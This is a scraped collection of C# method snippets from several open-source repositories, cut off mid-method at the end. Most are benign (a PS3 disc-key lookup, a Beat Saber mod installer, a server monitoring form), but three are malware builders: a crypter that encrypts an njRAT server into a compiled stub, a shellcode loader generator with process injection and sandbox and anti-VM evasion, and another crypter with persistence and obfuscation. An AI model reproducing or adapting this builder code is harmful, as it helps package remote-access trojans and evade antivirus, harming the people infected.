                fSaveDialog.replacedle = "Save crypted Server...";

                if (fSaveDialog.ShowDialog() == DialogResult.OK)
                {

                    string sFileName = cUtils.GenStr(8);
                    string sKey = cUtils.GenStr(40);

                    string sStub = Properties.Resources.Stub

                        .Replace("%RES_NAME%", sFileName)
                        .Replace("%ENC_KEY%", sKey);

                    File.WriteAllBytes(sFileName, nAES256.cAES256.Encrypt(File.ReadAllBytes(tServer.Text), System.Text.Encoding.Default.GetBytes(sKey)));


                    using (CSharpCodeProvider csCodeProvider = new CSharpCodeProvider(new Dictionary<string, string>
            {
                {"CompilerVersion", "v2.0"}
            }))
                    {
                        CompilerParameters cpParams = new CompilerParameters(null, fSaveDialog.FileName, true);


                        if (tIcon.Text.Trim() == "")
                            cpParams.CompilerOptions = "/t:winexe /unsafe /platform:x86 /debug-";
                        else
                            cpParams.CompilerOptions = "/t:winexe /unsafe /platform:x86 /debug- /win32icon:\"" + tIcon.Text + "\"";

                        cpParams.Referencedreplacedemblies.Add("System.dll");
                        cpParams.Referencedreplacedemblies.Add("System.Management.dll");
                        cpParams.Referencedreplacedemblies.Add("System.Windows.Forms.dll");

                        cpParams.EmbeddedResources.Add(sFileName);

                        csCodeProvider.CompilereplacedemblyFromSource(cpParams, sStub);

                        MessageBox.Show("Your nj server crypted successfully!", "OK", MessageBoxButtons.OK, MessageBoxIcon.Information);
                    }

                    File.Delete(sFileName);
                }

            }
        }

19 Source : IrdProvider.cs
with MIT License
from 13xforever

public async Task<HashSet<DiscKeyInfo>> EnumerateAsync(string discKeyCachePath, string ProductCode, CancellationToken cancellationToken)
        {
            ProductCode = ProductCode?.ToUpperInvariant();
            var result = new HashSet<DiscKeyInfo>();
            var knownFilenames = new HashSet<string>(StringComparer.InvariantCultureIgnoreCase);
            Log.Trace("Searching local cache for a match...");
            if (Directory.Exists(discKeyCachePath))
            {
                var matchingIrdFiles = Directory.GetFiles(discKeyCachePath, "*.ird", SearchOption.TopDirectoryOnly);
                foreach (var irdFile in matchingIrdFiles)
                {
                    try
                    {
                        try
                        {
                            var ird = IrdParser.Parse(File.ReadAllBytes(irdFile));
                            result.Add(new DiscKeyInfo(ird.Data1, null, irdFile, KeyType.Ird, ird.Crc32.ToString("x8")));
                            knownFilenames.Add(Path.GetFileName(irdFile));
                        }
                        catch (InvalidDataException)
                        {
                            File.Delete(irdFile);
                            continue;
                        }
                        catch (Exception e)
                        {
                            Log.Warn(e);
                            continue;
                        }
                    }
                    catch (Exception e)
                    {
                        Log.Warn(e, e.Message);
                    }
                }
            }

            Log.Trace("Searching IRD Library for match...");
            var irdInfoList = await Client.SearchAsync(ProductCode, cancellationToken).ConfigureAwait(false);
            var irdList = irdInfoList?.Data?.Where(
                              i => !knownFilenames.Contains(i.Filename) && i.Filename.Substring(0, 9).ToUpperInvariant() == ProductCode
                          ).ToList() ?? new List<SearchResulreplacedem>(0);
            if (irdList.Count == 0)
                Log.Debug("No matching IRD file was found in the Library");
            else
            {
                Log.Info($"Found {irdList.Count} new match{(irdList.Count == 1 ? "" : "es")} in the IRD Library");
                foreach (var irdInfo in irdList)
                {
                    var ird = await Client.DownloadAsync(irdInfo, discKeyCachePath, cancellationToken).ConfigureAwait(false);
                    result.Add(new DiscKeyInfo(ird.Data1, null, Path.Combine(discKeyCachePath, irdInfo.Filename), KeyType.Ird, ird.Crc32.ToString("x8")));
                    knownFilenames.Add(irdInfo.Filename);
                }
            }
            if (knownFilenames.Count == 0)
            {
                Log.Warn("No valid matching IRD file could be found");
                Log.Info($"If you have matching IRD file, you can put it in '{discKeyCachePath}' and try dumping the disc again");
            }

            Log.Info($"Found {result.Count} IRD files");
            return result;
        }

19 Source : Core.cs
with MIT License
from 1y0n

public static bool Gen_C(string shellcode, string path, string execute, string inject, string arch, string detect)
        {
            string finalcode;
            shellcode = Shellcode_Handle(shellcode);
            shellcode = XOR_C("c", shellcode);

            Random r = new Random();
            int n = r.Next(0, Global.Company_name.Length - 1);
            string comname = Global.Company_name[n];

            string c_compile_info = C_Template.compile_info.Replace("{{companyname}}", comname);

            //图标设置
            if (Global.ICONPATH != "")
            {
                c_compile_info += @"IDI_ICON1 ICON ""{{path}}""";
                c_compile_info = c_compile_info.Replace("{{path}}", Global.ICONPATH.Replace("\\", "\\\\"));
            }
            System.IO.File.WriteAllText("C:\\Windows\\Temp\\Yanri_res.rc", c_compile_info);
            string res_cmd = "windres C:\\Windows\\Temp\\Yanri_res.rc C:\\Windows\\Temp\\Yanri_res.o";
            if (arch.StartsWith("32"))
            {
                res_cmd += " --target=pe-i386";
            }
            Common.Execute_Cmd(res_cmd);
            bool icon_set = System.IO.File.Exists("C:\\Windows\\Temp\\Yanri_res.o");
            //System.IO.File.Delete("C:\\Windows\\Temp\\Yanri_res.rc");

            //根据执行方式选择代码模板
            if (execute == "执行4-Dynamic")
            {
                finalcode = C_Template.Dynamic.Replace("{{shellcode}}", shellcode);
            }
            else
            {
                finalcode = C_Template.Base_Code.Replace("{{shellcode}}", shellcode);
                switch (execute)
                {
                    case "执行1-VirtualAlloc":
                        finalcode = finalcode.Replace("//{{execute}}", C_Template.VirtualALloc);
                        break;
                    case "执行2-GetProcAddress":
                        finalcode = finalcode.Replace("//{{execute}}", C_Template.GetProcessAddress);
                        break;
                    case "注入现有进程":
                        finalcode = finalcode.Replace("//{{execute}}", C_Template.CreateRemoteThread);
                        finalcode = finalcode.Replace("{{pid}}", inject);
                        break;
                    case "注入新进程":
                        finalcode = finalcode.Replace("//{{execute}}", C_Template.CreateNew);
                        finalcode = finalcode.Replace("{{processname}}", inject);
                        break;
                    default:
                        return false;
                }
            }
            //虚拟机及沙箱检测
            switch (detect)
            {
                case "沙箱:延时约180秒":
                    finalcode = finalcode.Replace("//{{sanbox_vm_detect}}", C_Template.Super_Delay);
                    break;
                case "虚拟机:简单反虚拟机":
                    finalcode = finalcode.Replace("//{{sanbox_vm_detect}}", C_Template.Vm_Detect);
                    break;
            }

            //保存代码到临时文件
            string temp_path = @"C:\Windows\Temp\YANRI_TEMP_" + Common.GetRandomString(6, true, true, true, false, "") + ".c";
            System.IO.File.WriteAllText(temp_path, finalcode);

            //编译
            if (C_Compiler(arch, temp_path, path, icon_set))
            {
                //System.IO.File.Delete(temp_path);
                System.IO.File.Delete("C:\\Windows\\Temp\\Yanri_res.o");
                return true;
            } else
            {
                System.IO.File.Delete(temp_path);
                System.IO.File.Delete("C:\\Windows\\Temp\\Yanri_res.o");
                return false;
            }
        }

19 Source : Form2.cs
with MIT License
from 200Tigersbloxed

void InstallMultiContinued()
        {
            statuslabel.Text = "Status: Extracting Files";
            progressBar1.Value = 80;
            DirectoryInfo di = new DirectoryInfo(AppDomain.CurrentDomain.BaseDirectory + @"\Files");
            foreach (FileInfo file in di.GetFiles())
            {
                string[] splitdot = file.Name.Split('.');
                if (splitdot[1] == "zip")
                {
                    ZipFile.ExtractToDirectory(AppDomain.CurrentDomain.BaseDirectory + @"\Files\" + splitdot[0] + @".zip", @"Files\" + splitdot[0]);
                }
            }
            statuslabel.Text = "Status: Moving Files";
            progressBar1.Value = 90;
            foreach (DirectoryInfo dir in di.GetDirectories())
            {
                if (multiselected == "a")
                {
                    if (dir.Name == "ca")
                    {
                        DirectoryInfo cadi = new DirectoryInfo(AppDomain.CurrentDomain.BaseDirectory + @"\Files\ca");
                        if (Directory.Exists(bsl + @"\CustomAvatars"))
                        {
                            // dont u dare delete someone's custom avatars folder
                        }
                        else
                        {
                            Microsoft.VisualBasic.FileIO.FileSystem.MoveDirectory(AppDomain.CurrentDomain.BaseDirectory + @"\Files\ca\CustomAvatars", bsl + @"\CustomAvatars");
                        }
                        if (Directory.Exists(bsl + @"\DynamicOpenVR"))
                        {
                            Directory.Delete(bsl + @"\DynamicOpenVR", true);
                            Microsoft.VisualBasic.FileIO.FileSystem.MoveDirectory(AppDomain.CurrentDomain.BaseDirectory + @"\Files\ca\DynamicOpenVR", bsl + @"\DynamicOpenVR");
                        }
                        else
                        {
                            Microsoft.VisualBasic.FileIO.FileSystem.MoveDirectory(AppDomain.CurrentDomain.BaseDirectory + @"\Files\ca\DynamicOpenVR", bsl + @"\DynamicOpenVR");
                        }
                        foreach (DirectoryInfo cadir in cadi.GetDirectories())
                        {
                            if (cadir.Name == "Plugins")
                            {
                                // Don't move CustomAvatar's DLL
                            }
                        }
                    }
                }
                if(dir.Name == "dc")
                {
                    DirectoryInfo dcdi = new DirectoryInfo(AppDomain.CurrentDomain.BaseDirectory + @"Files\dc");
                    foreach (DirectoryInfo dcdir in dcdi.GetDirectories())
                    {
                    if (dcdir.Name == "Plugins")
                    {
                         foreach (FileInfo file in dcdir.GetFiles())
                         {
                            if (File.Exists(bsl + @"\Plugins\" + file.Name)) {
                                    File.Delete(bsl + @"\Plugins\" + file.Name);
                                    File.Move(file.FullName, bsl + @"\Plugins\" + file.Name);
                                }
                               else
                                {
                                   File.Move(file.FullName, bsl + @"\Plugins\" + file.Name);
                                }
                            }
                         }
                            if (dcdir.Name == "Libs")
                            {
                                foreach (DirectoryInfo dcnativedir in dcdir.GetDirectories())
                                {
                                    if (Directory.Exists(bsl + @"\Libs\Native")) {
                                    Directory.Delete(bsl + @"\Libs\Native", true);
                                    Microsoft.VisualBasic.FileIO.FileSystem.MoveDirectory(AppDomain.CurrentDomain.BaseDirectory + @"\Files\dc\Libs\Native", bsl + @"\Libs\Native");
                                }
                                    else
                                    {
                                        Microsoft.VisualBasic.FileIO.FileSystem.MoveDirectory(AppDomain.CurrentDomain.BaseDirectory + @"\Files\dc\Libs\Native", bsl + @"\Libs\Native");
                                    }
                                }
                            }
                        }
                    }
                    if(dir.Name == "dep")
                    {
                        DirectoryInfo depdi = new DirectoryInfo(AppDomain.CurrentDomain.BaseDirectory + @"Files\dep\dep");
                        foreach (DirectoryInfo depdir in depdi.GetDirectories())
                        {
                            if (depdir.Name == "Plugins")
                            {
                                foreach (FileInfo file in depdir.GetFiles())
                                {
                                    if (File.Exists(bsl + @"\Plugins\" + file.Name)) {
                                    File.Delete(bsl + @"\Plugins\" + file.Name);
                                    File.Move(file.FullName, bsl + @"\Plugins\" + file.Name);
                                }
                                    else
                                    {
                                        File.Move(file.FullName, bsl + @"\Plugins\" + file.Name);
                                    }
                                }
                            }
                        }
                    }
                if (multiselected == "a")
                {
                    if (dir.Name == "dovr")
                    {
                        DirectoryInfo dovrdi = new DirectoryInfo(AppDomain.CurrentDomain.BaseDirectory + @"Files\dovr");
                        foreach (DirectoryInfo dovrdir in dovrdi.GetDirectories())
                        {
                            if (dovrdir.Name == "Plugins")
                            {
                                foreach (FileInfo file in dovrdir.GetFiles())
                                {
                                    if (File.Exists(bsl + @"\Plugins\" + file.Name))
                                    {
                                        File.Delete(bsl + @"\Plugins\" + file.Name);
                                        File.Move(file.FullName, bsl + @"\Plugins\" + file.Name);
                                    }
                                    else
                                    {
                                        File.Move(file.FullName, bsl + @"\Plugins\" + file.Name);
                                    }
                                }
                            }
                            if (dovrdir.Name == "Libs")
                            {
                                foreach (FileInfo file in dovrdir.GetFiles())
                                {
                                    if (File.Exists(bsl + @"\Libs\" + file.Name))
                                    {
                                        File.Delete(bsl + @"\Libs\" + file.Name);
                                        File.Move(file.FullName, bsl + @"\Libs\" + file.Name);
                                    }
                                    else
                                    {
                                        File.Move(file.FullName, bsl + @"\Libs\" + file.Name);
                                    }
                                }
                            }
                        }
                    }
                }
                    if (dir.Name == "multiplayer")
                    {
                        DirectoryInfo multiplayerdi = new DirectoryInfo(AppDomain.CurrentDomain.BaseDirectory + @"Files\multiplayer");
                        foreach (DirectoryInfo multiplayerdir in multiplayerdi.GetDirectories())
                        {
                            if (multiplayerdir.Name == "Plugins")
                            {
                                foreach (FileInfo file in multiplayerdir.GetFiles())
                                {
                                    if (File.Exists(bsl + @"\Plugins\" + file.Name)) {
                                    File.Delete(bsl + @"\Plugins\" + file.Name);
                                    File.Move(file.FullName, bsl + @"\Plugins\" + file.Name);
                                }
                                    else
                                    {
                                        File.Move(file.FullName, bsl + @"\Plugins\" + file.Name);
                                    }
                                }
                            }
                            if (multiplayerdir.Name == "Libs")
                            {
                                foreach (FileInfo file in multiplayerdir.GetFiles())
                                {
                                    if (File.Exists(bsl + @"\Libs\" + file.Name)) {
                                    File.Delete(bsl + @"\Libs\" + file.Name);
                                    File.Move(file.FullName, bsl + @"\Libs\" + file.Name);
                                }
                                    else
                                    {
                                        File.Move(file.FullName, bsl + @"\Libs\" + file.Name);
                                    }  
                                }
                            }
                        }
                    }
                }
            if(multiselected == "a")
            {
                if (File.Exists(@"Files\CustomAvatar.dll"))
                {
                    if (File.Exists(bsl + @"\Plugins\CustomAvatar.dll"))
                    {
                        File.Delete(bsl + @"\Plugins\CustomAvatar.dll");
                        File.Move(@"Files\CustomAvatar.dll", bsl + @"\Plugins\CustomAvatar.dll");
                    }
                    else
                    {
                        File.Move(@"Files\CustomAvatar.dll", bsl + @"\Plugins\CustomAvatar.dll");
                    }
                }
            }
                
                statuslabel.Text = "Status: Complete!";
            progressBar1.Value = 100;
            allowinstalluninstall = true;
                currentlyinstallinguninstalling = false;
                button3.BackColor = SystemColors.MenuHighlight;
                button4.BackColor = SystemColors.MenuHighlight;
                DialogResult dialogResult = MessageBox.Show("Multiplayer is installed! Would you like to exit?", "Complete!", MessageBoxButtons.YesNo, MessageBoxIcon.Question);
                if (dialogResult == DialogResult.Yes)
                {
                    Application.Exit();
                }
        }

19 Source : Form2.cs
with MIT License
from 200Tigersbloxed

void UninstallMulti()
        {
            bool continuewithuninstall = false;
            statuslabel.Text = "Status: Preparing";
            progressBar1.Value = 25;
            allowinstalluninstall = false;
            currentlyinstallinguninstalling = true;
            button3.BackColor = SystemColors.GrayText;
            button4.BackColor = SystemColors.GrayText;
            statuslabel.Text = "Status: Uninstalling Multiplayer";
            progressBar1.Value = 50;
            if (multiselected == "a")
            {
                if(File.Exists(bsl + @"\Plugins\BeatSaberMultiplayer.dll"))
                {
                    File.Delete(bsl + @"\Plugins\BeatSaberMultiplayer.dll");
                    continuewithuninstall = true;
                }
                else
                {
                    DialogResult dialogResult2 = MessageBox.Show("Multiplayer was not found! Would you like to continue?", "Uh Oh!", MessageBoxButtons.YesNo, MessageBoxIcon.Question);
                    if(dialogResult2 == DialogResult.Yes)
                    {
                        continuewithuninstall = true;
                    }
                    else
                    {
                        continuewithuninstall = false; 
                    }
                }
            }
            if (multiselected == "z")
            {
                if (File.Exists(bsl + @"\Plugins\BeatSaberMultiplayerLite.dll"))
                {
                    File.Delete(bsl + @"\Plugins\BeatSaberMultiplayerLite.dll");
                    continuewithuninstall = true;
                }
                else
                {
                    DialogResult dialogResult2 = MessageBox.Show("Multiplayer Lite was not found! Would you like to continue?", "Uh Oh!", MessageBoxButtons.YesNo, MessageBoxIcon.Question);
                    if (dialogResult2 == DialogResult.Yes)
                    {
                        continuewithuninstall = true;
                    }
                    else
                    {
                        continuewithuninstall = false;
                    }
                }
            }
            statuslabel.Text = "Status: Uninstalling Dependencies";
            progressBar1.Value = 75;
            if (continuewithuninstall == true)
            {
                if(checkBox1.Checked == true)
                {
                    if(File.Exists(bsl + @"\Plugins\SongCore.dll"))
                    {
                        File.Delete(bsl + @"\Plugins\SongCore.dll");
                    }
                }
                if(checkBox2.Checked == true)
                {
                    if (File.Exists(bsl + @"\Plugins\BSML.dll"))
                    {
                        File.Delete(bsl + @"\Plugins\BSML.dll");
                    }
                }
                if(checkBox3.Checked == true)
                {
                    if (File.Exists(bsl + @"\Plugins\BS_Utils.dll"))
                    {
                        File.Delete(bsl + @"\Plugins\BS_Utils.dll");
                    }
                }
                if(checkBox4.Checked == true)
                {
                    if (File.Exists(bsl + @"\Plugins\CustomAvatar.dll"))
                    {
                        File.Delete(bsl + @"\Plugins\CustomAvatar.dll");
                    }
                    Directory.Delete(bsl + @"\DynamicOpenVR", true);
                }
                if(checkBox5.Checked == true)
                {
                    if (File.Exists(bsl + @"\Plugins\DiscordCore.dll"))
                    {
                        File.Delete(bsl + @"\Plugins\DiscordCore.dll");
                    }
                    Directory.Delete(bsl + @"\Libs\Native", true);
                }
                if(checkBox6.Checked == true)
                {
                    if (File.Exists(bsl + @"\Plugins\DynamicOpenVR.manifest"))
                    {
                        File.Delete(bsl + @"\Plugins\DynamicOpenVR.manifest");
                    }
                    if (File.Exists(bsl + @"\Libs\DynamicOpenVR.dll"))
                    {
                        File.Delete(bsl + @"\Libs\DynamicOpenVR.dll");
                    }
                }
                if(checkBox7.Checked == true)
                {
                    if(File.Exists(bsl + @"\Plugins\ScoreSaber.dll"))
                    {
                        File.Delete(bsl + @"\Plugins\ScoreSaber.dll");
                    }
                }
            }
            statuslabel.Text = "Status: Complete!";
            progressBar1.Value = 100;
            allowinstalluninstall = true;
            currentlyinstallinguninstalling = false;
            button3.BackColor = SystemColors.MenuHighlight;
            button4.BackColor = SystemColors.MenuHighlight;
            DialogResult dialogResult = MessageBox.Show("Multiplayer is uninstalled :( Would you like to exit?", "Complete!", MessageBoxButtons.YesNo, MessageBoxIcon.Question);
            if (dialogResult == DialogResult.Yes)
            {
                Application.Exit();
            }
        }

19 Source : Form1.cs
with Mozilla Public License 2.0
from 1M50RRY

private void button3_Click(object sender, EventArgs e)
        {
            //Crypt
            string result = Properties.Resources.stub;
            result = result.Replace("%startup%", startup.Checked.ToString().ToLower());
            result = result.Replace("%native%", native.Checked.ToString().ToLower());
            result = result.Replace("%selfinj%", si.Checked.ToString().ToLower());
            result = result.Replace("%antivm%", antivm.Checked.ToString().ToLower());
            result = result.Replace("%key%", key.Text);
            result = result.Replace("%asm%", GenerateKey());
            var providerOptions = new Dictionary<string, string>
            {
                {"CompilerVersion", "v4.0"}
            };
            CompilerResults results;
            using (var provider = new CSharpCodeProvider(providerOptions))
            {
                var Params = new CompilerParameters(new[] { "mscorlib.dll", "System.Core.dll" }, Environment.GetEnvironmentVariable("temp") + "\\Crypted.exe", true);
                if (ico !=  null)
                    Params.CompilerOptions = "/t:winexe /unsafe /platform:x86 /win32icon:\"" + ico + "\"";
                else
                    Params.CompilerOptions = "/t:winexe /unsafe /platform:x86";

                Params.Referencedreplacedemblies.Add("System.Windows.Forms.dll");
                Params.Referencedreplacedemblies.Add("System.dll");
                Params.Referencedreplacedemblies.Add("System.Drawing.Dll");
                Params.Referencedreplacedemblies.Add("System.Security.Dll");
                Params.Referencedreplacedemblies.Add("System.Management.dll");

                string fname = "";
                if (punp.Checked)
                {
                    fname = Pump();
                    Params.EmbeddedResources.Add(fname); 
                }
                
                string tmp = "payload";
                File.WriteAllBytes(tmp, EncryptAES(encFile, key.Text));
                Params.EmbeddedResources.Add(tmp);
                results = provider.CompilereplacedemblyFromSource(Params, result);
                try
                {
                    File.Delete(tmp);
                    File.Delete(fname);
                }
                catch(Exception)
                {

                } 
            }
            if (results.Errors.Count == 0)
            {
                String temp = Environment.GetEnvironmentVariable("temp");
                if (obf.Checked)
                {
                   
                    File.WriteAllBytes(temp + "\\cli.exe", Properties.Resources.cli);
                    File.WriteAllBytes(temp + "\\Confuser.Core.dll", Properties.Resources.Confuser_Core);
                    File.WriteAllBytes(temp + "\\Confuser.DynCipher.dll", Properties.Resources.Confuser_DynCipher);
                    File.WriteAllBytes(temp + "\\Confuser.Protections.dll", Properties.Resources.Confuser_Protections);
                    File.WriteAllBytes(temp + "\\Confuser.Renamer.dll", Properties.Resources.Confuser_Renamer);
                    File.WriteAllBytes(temp + "\\Confuser.Runtime.dll", Properties.Resources.Confuser_Runtime);
                    File.WriteAllBytes(temp + "\\dnlib.dll", Properties.Resources.dnlib);

                    String crproj = Properties.Resources.def.Replace("%out%", Environment.CurrentDirectory);
                    crproj = crproj.Replace("%base%", temp);
                    crproj = crproj.Replace("%file%", temp + "\\Crypted.exe");
                    File.WriteAllText(temp + "\\def.crproj", crproj);

                    ProcessStartInfo startInfo = new ProcessStartInfo();
                    startInfo.Arguments = "/C " + temp + "\\cli.exe " + temp + "\\def.crproj";
                    startInfo.WindowStyle = ProcessWindowStyle.Hidden;
                    startInfo.CreateNoWindow = true;
                    startInfo.FileName = "cmd.exe";
                    Thread pr = new Thread(() => Process.Start(startInfo));
                    pr.Start();
                    pr.Join();
                }
                else
                {
                    String file = Environment.CurrentDirectory + "\\Crypted.exe";
                    try
                    {
                        File.Delete(file);
                    }
                    catch(Exception)
                    {

                    }
                    File.Move(temp + "\\Crypted.exe", file);
                }
                    

                MessageBox.Show("Done! Check Crypted.exe in the same folder.", "Crypting", MessageBoxButtons.OK, MessageBoxIcon.Asterisk);
            }
            
            foreach (CompilerError compilerError in results.Errors)
            {
                MessageBox.Show(string.Format("Error: {0}, At line {1}", compilerError.ErrorText, compilerError.Line));
            }
            
            
                
        }

19 Source : MonitorItemForm.cs
with Apache License 2.0
from 214175590

void SrvPath_TextChanged(object sender, EventArgs e)
        {
            string path = stb_ice_srvpath.Text;
            if (!string.IsNullOrWhiteSpace(path))
            {
                string appname = stb_ice_appname.Text;

                if (!string.IsNullOrWhiteSpace(appname) && string.IsNullOrWhiteSpace(stb_ice_ports.Text))
                {
                    try
                    {
                        if (get_ice_port_run)
                        {
                            return;
                        }
                        get_ice_port_run = true;
                        if (!path.EndsWith("/"))
                        {
                            path += "/";
                        }
                        string serverxml = string.Format("{0}config/{1}.xml", path, appname);
                        string targetxml = MainForm.TEMP_DIR + string.Format("srv-{0}.xml", DateTime.Now.ToString("MMddHHmmss"));
                        targetxml = targetxml.Replace("\\", "/");
                        parentForm.RunSftpShell(string.Format("get {0} {1}", serverxml, targetxml), false, false);
                        ThreadPool.QueueUserWorkItem((a) =>
                        {
                            Thread.Sleep(500);

                            List<Hashtable> list = YSTools.YSXml.readXml(targetxml, "icegrid");
                            if (list != null && list.Count > 0)
                            {
                                List<Hashtable> appList = null, nodeList = null;
                                List<Hashtable> serverList = null;
                                string ports = "", nodeName = "", serverName = "";
                                foreach (Hashtable one in list)
                                {
                                    if (one["NodeName"].ToString() == "application")
                                    {
                                        appList = (List<Hashtable>)one["ChildList"];
                                        foreach (Hashtable two in appList)
                                        {
                                            if (two["NodeName"].ToString() == "node")
                                            {
                                                nodeName = two["name"].ToString();
                                                nodeList = (List<Hashtable>)two["ChildList"];
                                                foreach (Hashtable four in nodeList)
                                                {
                                                    if (four["NodeName"].ToString() == "server-instance")
                                                    {
                                                        ports += "," + four["serverport"].ToString();
                                                    }
                                                }

                                            }

                                            if (two["NodeName"].ToString() == "server-template")
                                            {
                                                serverList = (List<Hashtable>)two["ChildList"];
                                                foreach (Hashtable four in serverList)
                                                {
                                                    if (four["NodeName"].ToString() == "icebox")
                                                    {
                                                        serverName = four["id"].ToString();
                                                        serverName = serverName.Substring(0, serverName.IndexOf("$")) + "1";
                                                        break;
                                                    }
                                                }
                                            }

                                            if (ports != "")
                                            {
                                                break;
                                            }
                                        }
                                    }
                                }
                                                                
                                stb_ice_ports.BeginInvoke((MethodInvoker)delegate()
                                {
                                    stb_ice_servername.Text = serverName;
                                    stb_ice_ports.Text = ports == "" ? "8082" : ports.Substring(1);
                                });
                            }
                            get_ice_port_run = false;

                            File.Delete(targetxml);
                        });
                    }
                    catch { }
                }
            }
        }

19 Source : MonitorItemForm.cs
with Apache License 2.0
from 214175590

private void button1_Click(object sender, EventArgs e)
        {
            int index = tabControl1.SelectedIndex;
            bool isnew = false;
            if (monitorConfig == null)
            {
                isnew = true;                
            }
            else
            {
                index = tabIndex;
            }
            if (index == 0)
            { // springboot
                SpringBootMonitorItem item = new SpringBootMonitorItem();                
                item.AppName = stb_app_name.Text;
                item.BuildFileName = stb_build_file.Text;
                item.CrlFileName = stb_ctl_file.Text;
                item.ShFileDir = stb_sh_dir.Text;
                if (item.ShFileDir.EndsWith("/"))
                {
                    item.ShFileDir = item.ShFileDir.Substring(0, item.ShFileDir.Length);
                }
                item.ProjectSourceDir = stb_project_source_dir.Text;
                if (item.ProjectSourceDir.EndsWith("/"))
                {
                    item.ProjectSourceDir = item.ProjectSourceDir.Substring(0, item.ProjectSourceDir.Length);
                }
                item.HomeUrl = stb_home_url.Text;
                item.RunStatus = RunState.NoCheck;
                if (string.IsNullOrWhiteSpace(item.HomeUrl))
                {
                    item.HomeUrl = "http://" + config.Host + ":8080/";
                }
                if (string.IsNullOrWhiteSpace(item.AppName) || hasNonChar(item.AppName))
                {
                    MessageBox.Show(this, "请填写应用名称,且不能包含'\",:;|");
                    return;
                }
                else if (string.IsNullOrWhiteSpace(item.ShFileDir))
                {
                    MessageBox.Show(this, "请填写应用脚本目录");
                    return;
                }
                else if (string.IsNullOrWhiteSpace(item.BuildFileName))
                {
                    MessageBox.Show(this, "请填写应用编译脚本文件名称");
                    return;
                }
                else if (string.IsNullOrWhiteSpace(item.CrlFileName))
                {
                    MessageBox.Show(this, "请填写应用控制脚本文件名称");
                    return;
                }
                else if (string.IsNullOrWhiteSpace(item.ProjectSourceDir))
                {
                    MessageBox.Show(this, "请填写应用代码存放目录");
                    return;
                }

                item.NeedAdd = cb_need_add.Checked;
                if (item.NeedAdd)
                {
                    item.ProjectSvnUrl = stb_project_svn.Text;
                    if (string.IsNullOrWhiteSpace(item.ProjectSvnUrl))
                    {
                        MessageBox.Show(this, "请填写应用SVN地址");
                        return;
                    }
                }
                if (isnew)
                {
                    item.Uuid = Guid.NewGuid().ToString("N");
                    monitorConfig = new MonitorItemConfig();
                }
                else
                {
                    item.Uuid = monitorConfig.spring.Uuid;
                }
                monitorConfig.spring = item;
            }
            else if (index == 1)
            { // tomcat
                TomcatMonitorItem item = new TomcatMonitorItem();                
                item.TomcatName = stb_tomcat_name.Text;
                item.TomcatDir = stb_tomcat_path.Text;
                item.TomcatPort = stb_tomcat_port.Text;
                item.RunStatus = RunState.NoCheck;
                if (string.IsNullOrWhiteSpace(item.TomcatName) || hasNonChar(item.TomcatName))
                {
                    MessageBox.Show(this, "请填写Tomcat名称,且不能包含'\",:;|");
                    return;
                }
                else if (string.IsNullOrWhiteSpace(item.TomcatDir))
                {
                    MessageBox.Show(this, "请填写Tomcat根目录");
                    return;
                }
                else if (string.IsNullOrWhiteSpace(item.TomcatPort))
                {
                    item.TomcatPort = "8080";
                }
                if (isnew)
                {
                    item.Uuid = Guid.NewGuid().ToString("N");
                    monitorConfig = new MonitorItemConfig();
                }
                else
                {
                    item.Uuid = monitorConfig.tomcat.Uuid;
                }
                monitorConfig.tomcat = item;
            }
            else if (index == 2)
            { // nginx
                NginxMonitorItem item = new NginxMonitorItem();                
                item.NginxName = stb_nginx_name.Text;
                item.NginxPath = stb_nginx_path.Text;
                item.NginxConfig = stb_nginx_conf.Text;
                item.RunStatus = RunState.NoCheck;
                if (string.IsNullOrWhiteSpace(item.NginxName) || hasNonChar(item.NginxName))
                {
                    MessageBox.Show(this, "请填写Nginx名称,且不能包含'\",:;|");
                    return;
                }
                else if (string.IsNullOrWhiteSpace(item.NginxPath))
                {
                    MessageBox.Show(this, "请填写Nginx执行文件完整路径");
                    return;
                }
                else if (string.IsNullOrWhiteSpace(item.NginxConfig))
                {
                    MessageBox.Show(this, "请填写Nginx配置文件完整路径");
                    return;
                }
                if (isnew)
                {
                    monitorConfig = new MonitorItemConfig();
                    item.Uuid = Guid.NewGuid().ToString("N");
                }
                else
                {
                    item.Uuid = monitorConfig.nginx.Uuid;
                }
                monitorConfig.nginx = item;
            }
            else if (index == 3)
            { // ice
                IceMonitorItem item = new IceMonitorItem();
                item.AppName = stb_ice_appname.Text;
                item.IceSrvDir = stb_ice_srvpath.Text;
                item.NodePorts = stb_ice_ports.Text;
                item.ServerName = stb_ice_servername.Text;
                item.RunStatus = RunState.NoCheck;
                if (string.IsNullOrWhiteSpace(item.AppName) || hasNonChar(item.AppName))
                {
                    MessageBox.Show(this, "请填写项目名称,且不能包含'\",:;|");
                    return;
                }
                else if (string.IsNullOrWhiteSpace(item.IceSrvDir))
                {
                    MessageBox.Show(this, "请填写项目Ice目录完整路径");
                    return;
                }
                else if (string.IsNullOrWhiteSpace(item.ServerName))
                {
                    MessageBox.Show(this, "请填写Ice服务名称");
                    return;
                }
                else if (string.IsNullOrWhiteSpace(item.NodePorts))
                {
                    MessageBox.Show(this, "请填写项目使用的端口号,多个以逗号(,)分隔");
                    return;
                }
                if (isnew)
                {
                    monitorConfig = new MonitorItemConfig();
                    item.Uuid = Guid.NewGuid().ToString("N");
                }
                else
                {
                    item.Uuid = monitorConfig.ice.Uuid;
                }
                monitorConfig.ice = item;
            }


            if (isnew)
            {
                config.MonitorConfigList.Add(monitorConfig);
            }

            AppConfig.Instance.SaveConfig(2);

            if (null != parentForm && monitorConfig.spring != null)
            {
                // TODO 执行checkout
                if (monitorConfig.spring.NeedAdd)
                {
                    string home = parentForm.getSftp().getHome();
                    string buildStr = YSTools.YSFile.readFileToString(MainForm.CONF_DIR + "__build.sh");
                    string ctlStr = YSTools.YSFile.readFileToString(MainForm.CONF_DIR + "__ctl.sh");
                    if (monitorConfig.spring.ProjectSourceDir.StartsWith(home))
                    {
                        string path = monitorConfig.spring.ProjectSourceDir.Substring(home.Length);
                        if (path.StartsWith("/"))
                        {
                            path = path.Substring(1);
                        }
                        buildStr = buildStr.Replace("_sourcePath_", "~/" + path);
                        ctlStr = ctlStr.Replace("_sourcePath_", "~/" + path);
                    }
                    else
                    {
                        buildStr = buildStr.Replace("_sourcePath_", monitorConfig.spring.ProjectSourceDir);
                        ctlStr = ctlStr.Replace("_sourcePath_", monitorConfig.spring.ProjectSourceDir);
                    }
                    buildStr = buildStr.Replace("_projectName_", monitorConfig.spring.AppName);
                    ctlStr = ctlStr.Replace("_projectName_", monitorConfig.spring.AppName);
                    ctlStr = ctlStr.Replace("_disconfigUrl_", stb_disconfig_url.Text);                    

